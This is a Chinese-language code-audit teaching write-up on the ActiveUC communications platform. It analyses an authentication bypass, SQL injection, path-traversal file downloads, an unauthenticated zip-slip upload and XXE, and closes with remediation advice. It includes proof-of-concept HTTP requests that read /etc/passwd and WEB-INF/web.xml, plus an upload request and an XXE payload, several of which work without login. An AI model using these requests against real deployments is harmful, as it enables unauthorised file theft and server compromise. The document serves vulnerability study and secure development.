网动统一通信平台ActiveUC代码审计分析
字数 1931 2025-11-21 12:30:15

网动统一通信平台ActiveUC代码审计分析教学文档

1. 系统概述

网动统一通信平台(ActiveUC)是由北京网动网络科技股份有限公司开发的企业级通信平台,集成文字、语音、视频等多种沟通方式。该系统采用Struts2框架开发,使用iBATIS和JDBC两种数据库操作方式。

2. 鉴权机制分析

2.1 拦截器配置

系统通过Struts2拦截器实现鉴权机制,定义了三类拦截器:

global拦截器栈

  • 包含pagerInterceptor和exceptionInterceptor
  • 继承框架内置的defaultStack
  • pagerInterceptor功能:从HTTP请求提取分页偏移量、页面大小和语言设置
  • exceptionInterceptor功能:捕获未处理异常,返回500错误响应

globalAndVerify拦截器

  • 包含verifyLogInfoInterceptor和pagerInterceptor
  • verifyLogInfoInterceptor:检查session中是否存在logonInfo记录

globalAndVerifyForCall拦截器

  • 使用VerifyUserInfoInterceptor
  • 检查session中是否存在userInfo对应的用户记录

2.2 鉴权绕过漏洞

UserFilter.java中的白名单绕过

  • 白名单验证使用contains()方法进行模糊匹配
  • 漏洞利用:可通过路径遍历绕过验证
  • 示例:/downloads/../admin/info可绕过白名单检查

3. SQL注入漏洞分析

3.1 漏洞位置

文件:UserImportTemp.xml中的listUserImportTempByTemps方法
问题代码:使用非预编译的$参数写法

<!-- 存在注入的SQL语句 -->
<select id="listUserImportTempByTemps" parameterClass="java.util.Map" resultClass="java.util.HashMap">
    SELECT * FROM user_import_temp WHERE PK_TEMP = '$temps$'
</select>

3.2 漏洞调用链

UserAction.java中的exportUsers方法:

public String exportUsers() {
    String temps = request.getParameter("temps"); // 用户可控参数
    // 直接传递给SQL查询
}

3.3 访问限制

  • 该Action继承globalAndVerify拦截器
  • 需要登录后才能利用

4. 任意文件下载漏洞

4.1 第一处漏洞

位置:DownloadTask.java中的RenderDownloadFile方法
触发方法:UserAction.java中的downloadUserTemplate方法
漏洞代码

String path = request.getParameter("filePath");
String realpath = absolutePath + path; // 路径拼接

POC

POST /acenter/user!RenderDownloadFile.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

filePath=../../../../../../etc/passwd

访问限制:需要鉴权

4.2 第二处漏洞(高危)

位置:DownloadTask.java中的streamDownloadFile方法
触发方法:MeetingAction.java中的downloadDocument方法
漏洞代码

String filepath = request.getParameter("filePath");
// 直接传递给文件下载方法

关键发现:MeetingShowAction.java中的downloadDocument方法

  • 未继承任何权限拦截器
  • 可前台直接访问

POC

GET /acenter/meetingShow!downloadDocument.action?filePath=WEB-INF/web.xml HTTP/1.1
Host: target.com

5. 前台文件上传漏洞

5.1 漏洞位置

文件:VersionAction.java中的editVersion方法
上传逻辑

  1. 获取原始文件名和后缀
  2. 检查是否为zip或apk格式
  3. 调用fileUpload.uploadAndUnzip方法处理

5.2 漏洞详情

解压过程问题

  • 使用ZipUtils.Unzip方法解压
  • 仅校验文件名不能包含"jsp"或"jspx"
  • 未校验路径遍历字符(如../)
  • 可覆盖系统关键文件

Windows特性利用

  • 可使用::$DATA等特殊字符绕过校验

5.3 访问权限

  • 对应的Action未配置鉴权拦截器
  • 可前台直接访问

POC

POST /acenter/versionCtr!editVersion.action HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwCSm8qxaqfd10tO

------WebKitFormBoundarywwCSm8qxaqfd10tO
Content-Disposition: form-data; name="APP"
3
------WebKitFormBoundarywwCSm8qxaqfd10tO
Content-Disposition: form-data; name="fileUpload.file"; filename="test.zip"
Content-Type: application/x-zip-compressed

[ZIP文件内容]

6. 前台XXE漏洞

6.1 漏洞位置

文件:CheckUserAction.java
漏洞代码

String AuthorizedInfo = request.getParameter("AuthorizedInfo");
Document doc = DocumentHelper.parseText(AuthorizedInfo); // 直接解析用户输入

6.2 漏洞特性

  • 使用DocumentHelper.parseText解析XML
  • 输入参数完全用户可控
  • 存在XXE注入风险

6.3 访问权限

  • 继承global拦截器(仅基础功能)
  • 无鉴权限制,可前台触发

POC示例

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

7. 总结与防护建议

7.1 主要漏洞类型

  1. 鉴权绕过漏洞
  2. SQL注入漏洞(iBATIS配置问题)
  3. 任意文件下载(路径遍历)
  4. 不安全文件上传(解压漏洞)
  5. XXE注入漏洞

7.2 修复建议

  1. 鉴权修复:使用精确匹配代替contains()方法
  2. SQL注入:统一使用预编译语句
  3. 文件操作:规范化路径处理,禁用路径遍历
  4. 文件上传:加强文件类型和内容校验
  5. XXE防护:禁用外部实体解析

7.3 审计重点

  • Struts2拦截器配置
  • iBATIS中$符号的使用
  • 用户输入直接用于文件操作
  • XML解析器的安全配置
  • 白名单验证机制的实现方式

本教学文档详细分析了ActiveUC系统的安全漏洞,可作为代码审计和安全开发的参考材料。

网动统一通信平台ActiveUC代码审计分析教学文档 1. 系统概述 网动统一通信平台(ActiveUC)是由北京网动网络科技股份有限公司开发的企业级通信平台,集成文字、语音、视频等多种沟通方式。该系统采用Struts2框架开发,使用iBATIS和JDBC两种数据库操作方式。 2. 鉴权机制分析 2.1 拦截器配置 系统通过Struts2拦截器实现鉴权机制,定义了三类拦截器: global拦截器栈 : 包含pagerInterceptor和exceptionInterceptor 继承框架内置的defaultStack pagerInterceptor功能:从HTTP请求提取分页偏移量、页面大小和语言设置 exceptionInterceptor功能:捕获未处理异常,返回500错误响应 globalAndVerify拦截器 : 包含verifyLogInfoInterceptor和pagerInterceptor verifyLogInfoInterceptor:检查session中是否存在logonInfo记录 globalAndVerifyForCall拦截器 : 使用VerifyUserInfoInterceptor 检查session中是否存在userInfo对应的用户记录 2.2 鉴权绕过漏洞 UserFilter.java中的白名单绕过 : 白名单验证使用contains()方法进行模糊匹配 漏洞利用:可通过路径遍历绕过验证 示例: /downloads/../admin/info 可绕过白名单检查 3. SQL注入漏洞分析 3.1 漏洞位置 文件 :UserImportTemp.xml中的listUserImportTempByTemps方法 问题代码 :使用非预编译的$参数写法 3.2 漏洞调用链 UserAction.java中的exportUsers方法: 3.3 访问限制 该Action继承globalAndVerify拦截器 需要登录后才能利用 4. 任意文件下载漏洞 4.1 第一处漏洞 位置 :DownloadTask.java中的RenderDownloadFile方法 触发方法 :UserAction.java中的downloadUserTemplate方法 漏洞代码 : POC : 访问限制 :需要鉴权 4.2 第二处漏洞(高危) 位置 :DownloadTask.java中的streamDownloadFile方法 触发方法 :MeetingAction.java中的downloadDocument方法 漏洞代码 : 关键发现 :MeetingShowAction.java中的downloadDocument方法 未继承任何权限拦截器 可前台直接访问 POC : 5. 前台文件上传漏洞 5.1 漏洞位置 文件 :VersionAction.java中的editVersion方法 上传逻辑 : 获取原始文件名和后缀 检查是否为zip或apk格式 调用fileUpload.uploadAndUnzip方法处理 5.2 漏洞详情 解压过程问题 : 使用ZipUtils.Unzip方法解压 仅校验文件名不能包含"jsp"或"jspx" 未校验路径遍历字符(如../) 可覆盖系统关键文件 Windows特性利用 : 可使用 ::$DATA 等特殊字符绕过校验 5.3 访问权限 对应的Action未配置鉴权拦截器 可前台直接访问 POC : 6. 前台XXE漏洞 6.1 漏洞位置 文件 :CheckUserAction.java 漏洞代码 : 6.2 漏洞特性 使用DocumentHelper.parseText解析XML 输入参数完全用户可控 存在XXE注入风险 6.3 访问权限 继承global拦截器(仅基础功能) 无鉴权限制,可前台触发 POC示例 : 7. 总结与防护建议 7.1 主要漏洞类型 鉴权绕过漏洞 SQL注入漏洞(iBATIS配置问题) 任意文件下载(路径遍历) 不安全文件上传(解压漏洞) XXE注入漏洞 7.2 修复建议 鉴权修复 :使用精确匹配代替contains()方法 SQL注入 :统一使用预编译语句 文件操作 :规范化路径处理,禁用路径遍历 文件上传 :加强文件类型和内容校验 XXE防护 :禁用外部实体解析 7.3 审计重点 Struts2拦截器配置 iBATIS中$符号的使用 用户输入直接用于文件操作 XML解析器的安全配置 白名单验证机制的实现方式 本教学文档详细分析了ActiveUC系统的安全漏洞,可作为代码审计和安全开发的参考材料。